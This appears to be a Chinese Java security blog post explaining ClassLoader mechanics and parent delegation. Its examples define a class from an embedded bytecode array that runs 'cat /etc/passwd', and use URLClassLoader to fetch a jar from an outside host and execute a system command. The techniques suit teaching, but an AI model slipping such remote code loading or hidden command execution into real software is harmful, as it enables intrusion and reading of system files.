@Author: Patrilic @Time: 2020-4-06 23:17:44
ClassLoader 顾名思义就是类的加载器,用来动态加载JavaClass到JVM中
简单来说,我们编写的.java文件经过javac编译后转换成java字节代码(.class)文件,而类加载器通过读取这个.class文件,转换成java.lang.Class的一个实例,用实例来表示一个java类。然后通过实例的newInstance()方法可以创建出该类的对象。
关于Java虚拟机这篇文章的学习,可以参考这篇文章:
https://www.artima.com/insidejvm/ed2/jvm.htmlJVM在Java程序开始执行时运行,结束时停止。每一个Java程序都拥有一个单独的JVM进程。
Java应用启动时,生成一个Runtime实例,当程序完成后,该实例死亡。 如果同时启动多个Java应用,那么就会产生同样数量的Runtime实例,互不干扰。 而拥有main函数的class将作为进程的起点
main函数作为初始线程起点,可以控制其他任意线程。JVM中的线程分为 守护线程 和 非守护线程
从上面的图可以看到,Class文件必须要经过 class loader subsystem 才能进入到runtime实例中
而这里的类加载子系统也称之为类加载器, 而系统提供的类加载器有以下三个:
java.lang.ClassLoader $JAVA_HOME/jre/lib/*.jar ClassLoader.getSystemClassLoader()
当然,我们也可以自定义一个ClassLoader,只需要继承 java.lang.ClassLoader 即可
JVM将类的加载分为三个步骤:Load, Link, Initialize
装载的过程就是查找和导入Class文件
负责找到二进制字节码并加载至JVM中,JVM通过类名、类所在的包名、ClassLoader完成类的加载。因此,标识一个被加载了的类:类名 + 包名 + ClassLoader实例ID。
分为验证, 准备, 解析三个步骤
初始化,为类的静态变量赋予正确的初始值,JVM负责对类进行初始化,主要对类变量进行初始化。在Java中对类变量进行初始值设定有两种方式:
类的初始化触发:
简单的理解: 就是一个类需要被加载时,类加载器总会把加载委派给父类去加载,一直递归到顶层,也就是说一直是从 Bootstrap ClassLoader 开始加载,当父类无法加载时,再从子类进行加载。
双亲委派模型的优点,在加载一些系统类时,比如 java.lang.Object , 总会由 Bootstrap ClassLoader 去 %JAVA_HOME%/jre/lib/rt.jar 中寻找,保证了使用的Object是正确的,而不会被中间人修改。
关于SPI机制这里就不作赘述了,主要是因为BootStrap ClassLoader必须委托子类去加载提供的服务,例如JDBC的接口
而线程上下文类加载器就可以解决这个问题,具体方法提供在 java.lang.Thread
getContextClassLoader() 和 setContextClassLoader(ClassLoader cl) 用来获取和设置线程的上下文类加载器, 如果没有对线程上下文加载器进行set操作,会自动继承父类的线程上下文加载器
首先,Java类加载分为显式和隐式, 显式加载就是利用Java反射和ClassLoader直接对类进行加载,例如:
Class.forName("com.patrilic.ClassLoader.Test");
// 默认初始化类方法
this.getClass().getClassLoader().loadClass("com.patrilic.ClassLoader.Test");
// 不初始化类方法
而隐式加载就是调用 Class.Method , 或者new一个新的实例时,也会对类进行加载
ClassLoader提供的一些与类加载相关的方法
| 方法 | 说明 |
|---|---|
| getParent() | 返回该类加载器的父类加载器。 |
| loadClass(String name) | 加载名称为 name的类,返回的结果是 java.lang.Class类的实例。 |
| findClass(String name) | 查找名称为 name的类,返回的结果是 java.lang.Class类的实例。 |
| findLoadedClass(String name) | 查找名称为 name的已经被加载过的类,返回的结果是 java.lang.Class类的实例。 |
| defineClass(String name, byte[] b, int off, int len) | 把字节数组 b中的内容转换成 Java 类,返回的结果是 java.lang.Class类的实例。这个方法被声明为 final的。 |
| resolveClass(Class<?> c) | 链接指定的 Java 类。 |
//Test.java
package com.patrilic.classLoader;
import java.util.*;
import java.io.*;
import java.net.*;
public class Test {
public void RunShell() throws IOException {
Process p = Runtime.getRuntime().exec("cat /etc/passwd");
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
System.out.println(disr); disr = dis.readLine();
}
}
}
// ClassLoaderTest.java
package com.patrilic.ClassLoader;
import java.lang.reflect.Method;
public class ClassLoaderTest extends ClassLoader {
private static String testClassName = "com.patrilic.classLoader.Test";
byte[] code = new byte[]{-54, -2, -70, -66, 0, 0, 0, 51, 0, 70, 10, 0, 13, 0, 30, 10, 0, 31, 0, 32, 8, 0, 33, 10, 0, 31, 0, 34, 10, 0, 35, 0, 36, 10, 0, 35, 0, 37, 7, 0, 38, 10, 0, 7, 0, 39, 10, 0, 7, 0, 40, 9, 0, 41, 0, 42, 10, 0, 43, 0, 44, 7, 0, 45, 7, 0, 46, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 8, 82, 117, 110, 83, 104, 101, 108, 108, 1, 0, 13, 83, 116, 97, 99, 107, 77, 97, 112, 84, 97, 98, 108, 101, 7, 0, 45, 7, 0, 47, 7, 0, 48, 7, 0, 49, 7, 0, 38, 7, 0, 50, 1, 0, 10, 69, 120, 99, 101, 112, 116, 105, 111, 110, 115, 7, 0, 51, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 9, 84, 101, 115, 116, 46, 106, 97, 118, 97, 12, 0, 14, 0, 15, 7, 0, 52, 12, 0, 53, 0, 54, 1, 0, 15, 99, 97, 116, 32, 47, 101, 116, 99, 47, 112, 97, 115, 115, 119, 100, 12, 0, 55, 0, 56, 7, 0, 47, 12, 0, 57, 0, 58, 12, 0, 59, 0, 60, 1, 0, 23, 106, 97, 118, 97, 47, 105, 111, 47, 68, 97, 116, 97, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 12, 0, 14, 0, 61, 12, 0, 62, 0, 63, 7, 0, 64, 12, 0, 65, 0, 66, 7, 0, 67, 12, 0, 68, 0, 69, 1, 0, 29, 99, 111, 109, 47, 112, 97, 116, 114, 105, 108, 105, 99, 47, 99, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114, 47, 84, 101, 115, 116, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 1, 0, 20, 106, 97, 118, 97, 47, 105, 111, 47, 79, 117, 116, 112, 117, 116, 83, 116, 114, 101, 97, 109, 1, 0, 19, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 1, 0, 19, 106, 97, 118, 97, 47, 105, 111, 47, 73, 79, 69, 120, 99, 101, 112, 116, 105, 111, 110, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 105, 109, 101, 1, 0, 10, 103, 101, 116, 82, 117, 110, 116, 105, 109, 101, 1, 0, 21, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 105, 109, 101, 59, 1, 0, 4, 101, 120, 101, 99, 1, 0, 39, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 59, 1, 0, 15, 103, 101, 116, 79, 117, 116, 112, 117, 116, 83, 116, 114, 101, 97, 109, 1, 0, 24, 40, 41, 76, 106, 97, 118, 97, 47, 105, 111, 47, 79, 117, 116, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 1, 0, 14, 103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 1, 0, 23, 40, 41, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 1, 0, 24, 40, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 41, 86, 1, 0, 8, 114, 101, 97, 100, 76, 105, 110, 101, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 121, 115, 116, 101, 109, 1, 0, 3, 111, 117, 116, 1, 0, 21, 76, 106, 97, 118, 97, 47, 105, 111, 47, 80, 114, 105, 110, 116, 83, 116, 114, 101, 97, 109, 59, 1, 0, 19, 106, 97, 118, 97, 47, 105, 111, 47, 80, 114, 105, 110, 116, 83, 116, 114, 101, 97, 109, 1, 0, 7, 112, 114, 105, 110, 116, 108, 110, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 0, 33, 0, 12, 0, 13, 0, 0, 0, 0, 0, 2, 0, 1, 0, 14, 0, 15, 0, 1, 0, 16, 0, 0, 0, 29, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 1, 0, 17, 0, 0, 0, 6, 0, 1, 0, 0, 0, 6, 0, 1, 0, 18, 0, 15, 0, 2, 0, 16, 0, 0, 0, -110, 0, 3, 0, 6, 0, 0, 0, 60, -72, 0, 2, 18, 3, -74, 0, 4, 76, 43, -74, 0, 5, 77, 43, -74, 0, 6, 78, -69, 0, 7, 89, 45, -73, 0, 8, 58, 4, 25, 4, -74, 0, 9, 58, 5, 25, 5, -58, 0, 21, -78, 0, 10, 25, 5, -74, 0, 11, 25, 4, -74, 0, 9, 58, 5, -89, -1, -20, -79, 0, 0, 0, 2, 0, 17, 0, 0, 0, 34, 0, 8, 0, 0, 0, 8, 0, 9, 0, 9, 0, 14, 0, 10, 0, 19, 0, 11, 0, 29, 0, 12, 0, 36, 0, 13, 0, 41, 0, 14, 0, 59, 0, 16, 0, 19, 0, 0, 0, 28, 0, 2, -1, 0, 36, 0, 6, 7, 0, 20, 7, 0, 21, 7, 0, 22, 7, 0, 23, 7, 0, 24, 7, 0, 25, 0, 0, 22, 0, 26, 0, 0, 0, 4, 0, 1, 0, 27, 0, 1, 0, 28, 0, 0, 0, 2, 0, 29};
@Override
public Class<?> findClass(String name) throws ClassNotFoundException {
if (name.equals(testClassName)) {
// defineClass 将byteCode转换成类, 赋给testClassName
return defineClass(testClassName, code, 0, code.length);
}
return super.findClass(name);
}
public static void main(String[] args) {
// 实例化ClassLoader
ClassLoaderTest loader = new ClassLoaderTest();
try {
// 加载testClassName
Class testClass = loader.loadClass(testClassName);
// 创建testClassName类的实例
Object testInstance = testClass.newInstance();
// 反射获取RunShell方法
Method method = testInstance.getClass().getMethod("RunShell");
// 反射调用RunShell方法
String result = (String) method.invoke(testInstance);
System.out.println(result);
} catch (Exception e) {
e.printStackTrace();
}
}
}
直接看园长的代码,URLClassLoader提供远程加载jar的能力
package com.patrilic.test;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.net.URL;
import java.net.URLClassLoader;
/**
* Creator: yz
* Date: 2019/12/18
*/
public class TestURLClassLoader {
public static void main(String[] args) {
try {
// 定义远程加载的jar路径
URL url = new URL("https://javaweb.org/tools/cmd.jar");
// 创建URLClassLoader对象,并加载远程jar包
URLClassLoader ucl = new URLClassLoader(new URL[]{url});
// 定义需要执行的系统命令
String cmd = "cat /etc/passwd";
// 通过URLClassLoader加载远程jar包中的CMD类
Class cmdClass = ucl.loadClass("CMD");
// 调用CMD类中的exec方法,等价于: Process process = CMD.exec("whoami");
Process process = (Process) cmdClass.getMethod("exec", String.class).invoke(null, cmd);
// 获取命令执行结果的输入流
InputStream in = process.getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;
// 读取命令执行结果
while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}
// 输出命令执行结果
System.out.println(baos.toString());
} catch (Exception e) {
e.printStackTrace();
}
}
}